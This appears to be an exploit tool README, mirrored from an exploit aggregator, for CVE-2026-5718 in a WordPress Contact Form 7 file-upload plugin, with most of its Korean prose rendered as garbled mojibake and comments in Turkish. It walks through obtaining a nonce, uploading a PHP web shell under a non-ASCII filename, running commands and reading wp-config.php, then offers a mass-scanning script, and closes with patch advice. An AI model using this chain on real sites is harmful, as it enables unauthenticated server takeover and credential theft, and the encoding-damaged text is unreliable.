## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-XXCONI-CVE-2026-5718
# CVE-2026-5718
CVE-2026-5718: DnD Upload CF7 νλ¬κ·ΈμΈμ μΈμ¦λμ§ μμ νμΌ μ
λ‘λλ₯Ό ν΅ν RCE
# CVE-2026-5718 β DnD CF7 νμΌ μ
λ‘λ RCE μ€μΊλ
> **νλ¬κ·ΈμΈ:** Drag and Drop Multiple File Upload for Contact Form 7 **νλ¬κ·ΈμΈ μ¬λ¬κ·Έ:** `drag-and-drop-multiple-file-upload-contact-form-7` **CVE ID:** CVE-2026-5718 **CVSS μ μ:** 8.1 (λμ) **CVSS 벑ν°:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` **μ·¨μ½μ μ ν:** μΈμ¦λμ§ μμ μμ νμΌ μ
λ‘λ β μ격 μ½λ μ€ν **μν₯λ°λ λ²μ :** <= 1.3.9.6 **ν¨μΉ λ²μ :** 1.3.9.7 **κ³΅κ° λ μ§:** 2026λ
4μ 17μΌ **μ°κ΅¬μ:** Leonid Semenenko (lsemenenko) β Wordfence
* * *
## π μ·¨μ½μ μ 보
Drag and Drop Multiple File Upload for Contact Form 7 νλ¬κ·ΈμΈμμ **λ κ°μ§ λ
립μ μΈ λ
Όλ¦¬ μ€λ₯** κ° κ²°ν©λμ΄ μΈμ¦λμ§ μμ 곡격μκ° PHP μΉμ
Έμ μ
λ‘λν μ μκ² ν©λλ€.
1. **λΈλ리μ€νΈ 무λ ₯ν:** μ¬μ©μ μ μ λΈλ리μ€νΈ ꡬμ±μ΄ κΈ°λ³Έ μνν νμ₯μ λͺ©λ‘μ **λ³ν©νλ λμ μμ ν λ체ν©λλ€.** μ΄μ `php`λ λ μ΄μ μ°¨λ¨λμ§ μμ΅λλ€.
2. **λΉ-ASCII μ°ν:** νμΌ μ΄λ¦μ λΉ-ASCII λ¬Έμκ° μμΌλ©΄ `wpcf7_antiscript_file_name()` ν¨μ νΈμΆμ΄ μ°¨λ¨λ©λλ€. `.php` νμ₯μκ° μ μ§λκ³ νμΌμ΄ λμ€ν¬μ κΈ°λ‘λ©λλ€.
* * *
## π μ·¨μ½μ μμ½
* * *
## βοΈ κΈ°μ λΆμ
### μ·¨μ½μ 1 β Nonce κ³΅κ° (62ν)
root@kitploit:~
// inc/dnd-upload-cf7.php β lines 62β71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolΓΌ β kolayca atlatΔ±lΔ±r
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// GeΓ§ersiz nonce β YENΔ° NONCE DΓNDΓRΓR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
`wp_ajax_nopriv__wpcf7_check_nonce` μ‘μ
μ 곡κ°λμ΄ μμ΅λλ€. μ ν¨νμ§ μμ nonceλ₯Ό 보λ΄λ©΄ **μ nonceκ° λ¬΄λ£λ‘ μ 곡λ©λλ€.** Mozilla UAλ‘ curl κ²μ¬λ₯Ό μ°νν©λλ€.
* * *
### μ·¨μ½μ 2 β λΈλ리μ€νΈ λ³ν© λμ λ체 (883ν)
root@kitploit:~
// inc/dnd-upload-cf7.php β lines 883β886
$blacklist_types = dnd_cf7_not_allowed_ext();
// β ~80 tehlikeli uzantΔ±: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// β ASSIGNMENT (=) β MERGE DEΔΔ°L
// Γzel liste: sadece ['zip']
// 'php' artΔ±k listede YOK β kabul edilir
}
νΈλ¦¬κ±°νλ νΌ νκ·Έ ꡬμ±:
root@kitploit:~
[mfile upload-file filetypes="*" blacklist-types:zip]
κ΄λ¦¬μκ° ZIPμ μ°¨λ¨νλ €κ³ νλ©΄ β νλ¬κ·ΈμΈμ΄ λͺ¨λ κΈ°λ³Έ μ°¨λ¨ λͺ©λ‘μ μμ ν©λλ€. `php`λ₯Ό ν¬ν¨ν λͺ¨λ μνν νμ₯μκ° μ΄μ νμ©λ©λλ€.
λν `filetypes="*"`μ λν νλμ½λ© λͺ©λ‘λ λΆμμ ν©λλ€:
root@kitploit:~
// line 927 β 'php', 'php3', 'php4', 'pht', 'phtml' EKSΔ°K
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
* * *
### μ·¨μ½μ 3 β λΉ-ASCII μ°ν (970ν)
root@kitploit:~
// inc/dnd-upload-cf7.php β lines 969β972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adlarΔ± iΓ§in Γ§aΔrΔ±lΔ±r
$filename = wpcf7_antiscript_file_name( $ascii_name );
// β shell.php β shell.php.txt yapardΔ± β ama atlanΔ±yor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellγ·.php" β .php uzantΔ±sΔ± korunur
root@kitploit:~
// dnd_cf7_check_ascii() β lines 1029β1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// β Sadece lokal kopya deΔiΕir, dΔ±Ε $filename ETKΔ°LENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter β false β antiscript atlanΔ±r
}
* * *
## π΄ μ 체 곡격 체μΈ
root@kitploit:~
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce β
β User-Agent: Mozilla/5.0 (curl deΔil) β
β β β
β βΌ β
β {"success":true,"data":"abc123def456"} β
β β Nonce ΓΌcretsiz alΔ±ndΔ± β
ββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββ
β POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload β
β security=abc123def456 β
β upload-file=shellγ·.php (Content-Type: application/x-php) β
β β β
β βββ Nonce geΓ§erli β β
β βββ blacklist=['zip'] β 'php' engellenmez β β
β βββ dnd_cf7_check_ascii("shellγ·.php") = false β
β βββ wpcf7_antiscript_file_name() ATLANIR β β
β βββ move_uploaded_file("shellγ·.php") β Diske yazΔ±ldΔ±β
ββββββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββ
β
ββββββββββββββββββββββββββββΌβββββββββββββββββββββββββββββββββββ
β GET /wp-content/uploads/wp_dndcf7_uploads/ β
β wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id β
β β β
β βΌ β
β uid=33(www-data) gid=33(www-data) groups=33(www-data) β
β β Unauthenticated RCE β β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
* * *
## π§ͺ κ°λ
μ¦λͺ
(μλ)
> β οΈ **κ³ μ§:** μ΄ PoCλ κ΅μ‘ λ° λ°©μ΄μ 보μ μ°κ΅¬ λͺ©μ μΌλ‘λ§ μ 곡λ©λλ€. μμ ν μμ€ν
μ΄λ λͺ
μμ μΈ μλ©΄ μΉμΈμ λ°μ μμ€ν
μμλ§ μ¬μ©νμμμ€.
**μ μ 쑰건:**
* νλ¬κ·ΈμΈμ΄ μ€μΉ λ° νμ±νλμ΄ μμ΄μΌ ν¨ (λ²μ <= 1.3.9.6)
* CF7 νΌμ `[mfile]` νλμ `blacklist-types`κ° ν¬ν¨λμ΄μΌ ν¨:
root@kitploit:~
[mfile upload-file filetypes="*" blacklist-types:zip]
* * *
### 1λ¨κ³ β Nonce μ»κΈ°
root@kitploit:~
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
μμ μλ΅:
root@kitploit:~
{"success": true, "data": "abc123def456"}
* * *
### 2λ¨κ³ β λΉ-ASCII νμΌ μ΄λ¦μΌλ‘ μΉμ
Έ μμ±
root@kitploit:~
# 'γ·' (U+30B7 Katakana) β dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellγ·.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
* * *
### 3λ¨κ³ β μ
Έ μ
λ‘λ
root@kitploit:~
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
μμ μλ΅:
root@kitploit:~
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellγ·.php"
}
}
* * *
### 4λ¨κ³ β μ
Έ URL μμ±
root@kitploit:~
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
* * *
### 5λ¨κ³ β RCE νΈλ¦¬κ±°
root@kitploit:~
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
* * *
## π οΈ μλ μ€μΊλ
### μ€μΉ
root@kitploit:~
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
**requirements.txt**
root@kitploit:~
requests
* * *
## π μ¬μ©λ²
### λ¨μΌ λμ β μμ μλ
root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com
### Form ID λ° νλ μ΄λ¦ μλ
root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
### μ 체 μ
Έ + μ¬μ©μ μ μ λͺ
λ Ή
root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
### λλ μ€μΊ
root@kitploit:~
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
### νλ‘μ μ¬μ© (Burp Suite)
root@kitploit:~
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
* * *
## βοΈ λ§€κ°λ³μ
* * *
## π μ
Έ μ ν
* * *
## π€ λΉ-ASCII λ¬Έμ μ§ν©
μ€μΊλλ λ€μ λ¬Έμλ€μ μμλλ‘ μλν©λλ€:
* * *
## π μ
Έ μ
λ‘λ μμΉ
root@kitploit:~
WordPress KΓΆk/
βββ wp-content/
βββ uploads/
βββ wp_dndcf7_uploads/
βββ wpcf7-files/
βββ <session-uuid>/
βββ shellγ·.php β Shell burada
> β οΈ **μ°Έκ³ :** νλ¬κ·ΈμΈμ κΈ°λ³Έμ μΌλ‘ 1μκ° ν νμΌμ μ 리ν©λλ€. μ
Έμ μ΄ μκ° λμ μ κ·Ό κ°λ₯ν μνμ
λλ€.
* * *
## π μ€μΊλ μΆλ ₯ μν
* * *
## π₯οΈ μμ μ€μΊλ μΆλ ₯
root@kitploit:~
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[β] http://hedef.com AdΔ±m 1/5: Nonce alΔ±nΔ±yor...
[β] http://hedef.com AdΔ±m 2/5: CF7 form tespiti...
[β] http://hedef.com AdΔ±m 3/5: Shell yΓΌkleniyor (non-ASCII bypass)...
[β] http://hedef.com AdΔ±m 4/5: Shell URL oluΕturuluyor...
[β] http://hedef.com AdΔ±m 5/5: RCE doΔrulanΔ±yor...
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[β
RCE OK ] http://hedef.com
SΓΌrΓΌm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : γ·
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE ΓΔ±ktΔ± : uid=33(www-data) gid=33(www-data) groups=33(www-data)
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[+] Kaydedildi β rce_results.txt
* * *
## π‘οΈ λ°©μ΄ / ν¨μΉ
**μμ ν λΈλ리μ€νΈ λ³ν©:**
root@kitploit:~
// GΓΌvensiz (mevcut β 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// GΓΌvenli (ΓΆnerilen β 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
**쑰건 μλ μν°μ€ν¬λ¦½νΈ:**
root@kitploit:~
// GΓΌvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// GΓΌvenli (ΓΆnerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman Γ§aΔΔ±r
**μ
λ‘λ λλ ν 리 .htaccess:**
root@kitploit:~
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
* * *
## π νμΌ κ΅¬μ‘°
root@kitploit:~
cve-2026-5718-scanner/
βββ dnd_cf7_upload.py # Ana tarayΔ±cΔ±
βββ requirements.txt # BaΔΔ±mlΔ±lΔ±klar
βββ README.md # Bu dosya
* * *
## β οΈ λ²μ κ³ μ§
> μ΄ λꡬμ PoCλ **μΉμΈλ μμ€ν
** μμ **κ΅μ‘ λͺ©μ ** λ° **μΉ¨ν¬ ν
μ€νΈ** λ²μ λ΄μμλ§ μ¬μ©νλλ‘ μ μλμμ΅λλ€. λ¬΄λ¨ μμ€ν
μμμ μ¬μ©μ **ν°ν€ νλ² μ 243-245μ‘°** λ° κ΅μ μ¬μ΄λ² λ²μ£ λ²λ₯ μ λ°λΌ **λ²μ£μ ν΄λΉν©λλ€.** κ°λ°μλ λꡬμ μ€μ©μΌλ‘ μΈν΄ λ°μνλ μ΄λ ν λ²μ μ±
μλ μ§μ§ μμ΅λλ€.
* * *
## π λΌμ΄μ μ€
MIT License β κ΅μ‘ λ° μ°κ΅¬ λͺ©μ μΌλ‘λ§ μ¬μ©ν μ μμ΅λλ€.
* * *
## π μ°Έκ³ μλ£
* Wordfence κΆκ³
* νλ¬κ·ΈμΈ WordPress λλ ν 리
* CVSS 3.1 κ³μ°κΈ°
* CWE-434: μνν μ νμ νμΌ λ¬΄μ ν μ
λ‘λ
* μ λμ½λ λΉ-ASCII λ¬Έμ